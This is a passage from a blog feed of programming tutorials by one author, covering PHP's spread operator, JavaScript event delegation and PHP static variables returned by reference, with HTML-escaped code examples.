  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;"Hello, &lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;! You are &lt;/span&gt;&lt;span class="nv"&gt;$age&lt;/span&gt;&lt;span class="s2"&gt;."&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'Alamin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="nv"&gt;$params&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Hello, Alamin! You are 28.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;This is especially useful when you’re dynamically collecting parameters and passing them to a function.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  🔹 Use Case 3: Associative Arrays in PHP 8+
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;createUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt; &amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Alamin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'email'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'you@example.com'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nf"&gt;createUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// PHP 8+&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ❌ When the Spread Operator Doesn’t Work
&lt;/h3&gt;

&lt;p&gt;You &lt;strong&gt;can’t&lt;/strong&gt; use &lt;code&gt;...&lt;/code&gt; with functions expecting &lt;strong&gt;a single array argument&lt;/strong&gt; — like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;array_map()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;array_filter()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;count()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sort()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example that fails:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;array_map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="s1"&gt;'strtoupper'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'b'&lt;/span&gt;&lt;span class="p"&gt;]]);&lt;/span&gt; &lt;span class="c1"&gt;// ❌ Error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ Rule of Thumb
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function Type&lt;/th&gt;
&lt;th&gt;Spread Supported?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Accepts multiple arguments&lt;/td&gt;
&lt;td&gt;✅ Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accepts only one array parameter&lt;/td&gt;
&lt;td&gt;❌ No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  🛠 Bonus: Helper to Deep Flatten Any Array
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;flatten&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;array&lt;/span&gt; &lt;span class="nv"&gt;$array&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;array&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="nb"&gt;array_walk_recursive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$item&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$nested&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'b'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'c'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'d'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'e'&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt; &lt;span class="s1"&gt;'f'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nb"&gt;print_r&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;flatten&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$nested&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="c1"&gt;// Output: ['a', 'b', 'c', 'd', 'e', 'f']&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🧠 Final Thoughts
&lt;/h3&gt;

&lt;p&gt;The spread operator in PHP is more than syntactic sugar — it brings expressive power to your array operations, simplifies argument handling, and makes your code easier to read.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Next time you’re merging arrays or working with dynamic arguments, consider using &lt;code&gt;...&lt;/code&gt; for a cleaner, modern PHP approach.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>php</category>
      <category>programming</category>
    </item>
    <item>
      <title>Exploring Event Delegation in JavaScript</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Mon, 05 May 2025 06:16:42 +0000</pubDate>
      <link>https://forem.com/dev-alamin/exploring-event-delegation-in-javascript-2jid</link>
      <guid>https://forem.com/dev-alamin/exploring-event-delegation-in-javascript-2jid</guid>
      <description>&lt;h2&gt;
  
  
  Mastering Event Delegation in JavaScript — And Why It’s So Powerful
&lt;/h2&gt;

&lt;p&gt;Have you ever faced a situation where your JavaScript event listeners just stop working after some DOM update—like an AJAX pagination or a dynamically added element? You’re not alone.&lt;/p&gt;

&lt;p&gt;This is where &lt;strong&gt;Event Delegation&lt;/strong&gt; comes in like a well-trained delivery system—it ensures your “event package” always finds a reliable recipient.&lt;/p&gt;

&lt;h2&gt;
  
  
  🧠 What is Event Delegation?
&lt;/h2&gt;

&lt;p&gt;Event delegation is a technique where instead of attaching an event listener directly to each element (which might be dynamically created or destroyed), you attach it to a common ancestor that &lt;strong&gt;always exists&lt;/strong&gt; in the DOM.&lt;/p&gt;

&lt;p&gt;When an event (like a click) is triggered on a child element, it &lt;strong&gt;bubbles up&lt;/strong&gt; through its ancestors. Event delegation takes advantage of this bubbling by placing a single listener on the ancestor and checking if the event target matches the intended selector.&lt;/p&gt;

&lt;h2&gt;
  
  
  📦 A Real-Life Analogy: The Customer &amp;amp; the Family
&lt;/h2&gt;

&lt;p&gt;Let’s imagine you’re delivering a gift (event) to a customer (child element). But the customer moves around often—sometimes not home when you deliver. That’s unreliable.&lt;/p&gt;

&lt;p&gt;Instead, you leave the gift with a family member (the parent or ancestor element) who &lt;strong&gt;never leaves the house&lt;/strong&gt;. They’ll take it and hand it to the customer &lt;strong&gt;if and when&lt;/strong&gt; they’re available.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Just like that, event delegation ensures your event is always received, even if the specific element wasn’t around when the event was wired.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  ✅ When Do You Need Event Delegation?
&lt;/h2&gt;

&lt;p&gt;You should use event delegation when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You're dealing with &lt;strong&gt;dynamic content&lt;/strong&gt;, like items added via AJAX.&lt;/li&gt;
&lt;li&gt;You want to &lt;strong&gt;reduce memory usage&lt;/strong&gt; and avoid attaching listeners to many elements.&lt;/li&gt;
&lt;li&gt;You want to &lt;strong&gt;handle future DOM updates&lt;/strong&gt; seamlessly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  👨‍💻 Basic Example: Without Event Delegation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.quick-view-btn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Product clicked:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works only for the elements &lt;strong&gt;currently in the DOM&lt;/strong&gt;. If buttons are added later, they won’t work unless you rebind the listener.&lt;/p&gt;

&lt;h2&gt;
  
  
  🚀 With Event Delegation (The Right Way)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.product-list&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;click&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;btn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.quick-view-btn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Product clicked:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;btn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, it doesn’t matter when the &lt;code&gt;.quick-view-btn&lt;/code&gt; is added—&lt;strong&gt;as long as it ends up inside &lt;code&gt;.product-list&lt;/code&gt;, it will work&lt;/strong&gt;!&lt;/p&gt;

&lt;h2&gt;
  
  
  🧭 Bonus Tip: DOM Traversal
&lt;/h2&gt;

&lt;p&gt;Use &lt;code&gt;.closest()&lt;/code&gt; to traverse &lt;strong&gt;upward&lt;/strong&gt; and find a parent or self that matches a selector.&lt;/p&gt;

&lt;p&gt;Use &lt;code&gt;.querySelector()&lt;/code&gt; to traverse &lt;strong&gt;downward&lt;/strong&gt; to find a child.&lt;/p&gt;

&lt;p&gt;Understanding these two gives you full control over DOM relationships.&lt;/p&gt;

&lt;h2&gt;
  
  
  🧠 Conclusion
&lt;/h2&gt;

&lt;p&gt;Event Delegation isn’t just a fancy technique—it's an &lt;strong&gt;essential survival skill&lt;/strong&gt; when working with dynamic interfaces in JavaScript.&lt;/p&gt;

&lt;p&gt;Next time you work with AJAX-loaded elements, modals, or any kind of dynamic UI, remember:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Don't chase the guest—talk to the family who's always home."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>javascript</category>
      <category>programming</category>
      <category>frontend</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Exploring Static Variable in PHP</title>
      <dc:creator>Al Amin</dc:creator>
      <pubDate>Tue, 29 Apr 2025 09:34:59 +0000</pubDate>
      <link>https://forem.com/dev-alamin/persistent-memory-in-php-the-power-of-static-variables-and-references-hh0</link>
      <guid>https://forem.com/dev-alamin/persistent-memory-in-php-the-power-of-static-variables-and-references-hh0</guid>
      <description>&lt;h3&gt;
  
  
  Have you ever needed a shared memory drawer in PHP — a place where your data stays accessible between function calls without polluting the global scope?
&lt;/h3&gt;

&lt;p&gt;Welcome to one of PHP’s most underrated advanced techniques: using static variables combined with references to create a persistent, in-memory cache that lives throughout a single request lifecycle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;🚪Imagine Your Function Is a Drawer...&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s say you had a magical drawer in your function — one that remembers things every time it’s opened. Better yet, you could hand out references to that drawer so anyone else could add or modify its contents.&lt;/p&gt;

&lt;p&gt;That’s exactly what this pattern does:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;myDrawer&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nv"&gt;$drawer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$drawer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$sportsClothes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nf"&gt;myDrawer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$sportsClothes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'sports'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'trouser'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'jersey'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'cap'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$winterClothes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nf"&gt;myDrawer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$winterClothes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'winter'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'hat'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'jacket'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'thermal-pants'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nb"&gt;print_r&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;myDrawer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;Array&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sports&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Array&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;trouser&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;jersey&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;winter&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Array&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hat&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;jacket&lt;/span&gt;
            &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;thermal&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pants&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  💥 Why This Is Powerful
&lt;/h2&gt;

&lt;p&gt;Shared memory: All references (&amp;amp;myDrawer()) point to the same underlying static variable.&lt;/p&gt;

&lt;p&gt;Encapsulation: No need for global $vars or static class properties.&lt;/p&gt;

&lt;p&gt;Persistence during request: The data lives as long as the script runs — great for caching and memoization.&lt;/p&gt;

&lt;p&gt;Memory-safe: No memory bloat across requests (unlike Redis or Memcached).&lt;/p&gt;

&lt;h2&gt;
  
  
  🛠️ Real-Life Use Cases
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. 🔁 In-Memory Caching&lt;/strong&gt;&lt;br&gt;
Avoid repeating expensive operations like file reads or database calls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;configCache&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nv"&gt;$cache&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$cache&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$cache&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nf"&gt;configCache&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$cache&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// simulate expensive config loading&lt;/span&gt;
        &lt;span class="nv"&gt;$cache&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"config/&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="s2"&gt;.json"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$cache&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. 📦 Lightweight Service Container&lt;/strong&gt;&lt;br&gt;
Store shared services or dependencies without a full-blown framework:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nv"&gt;$services&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
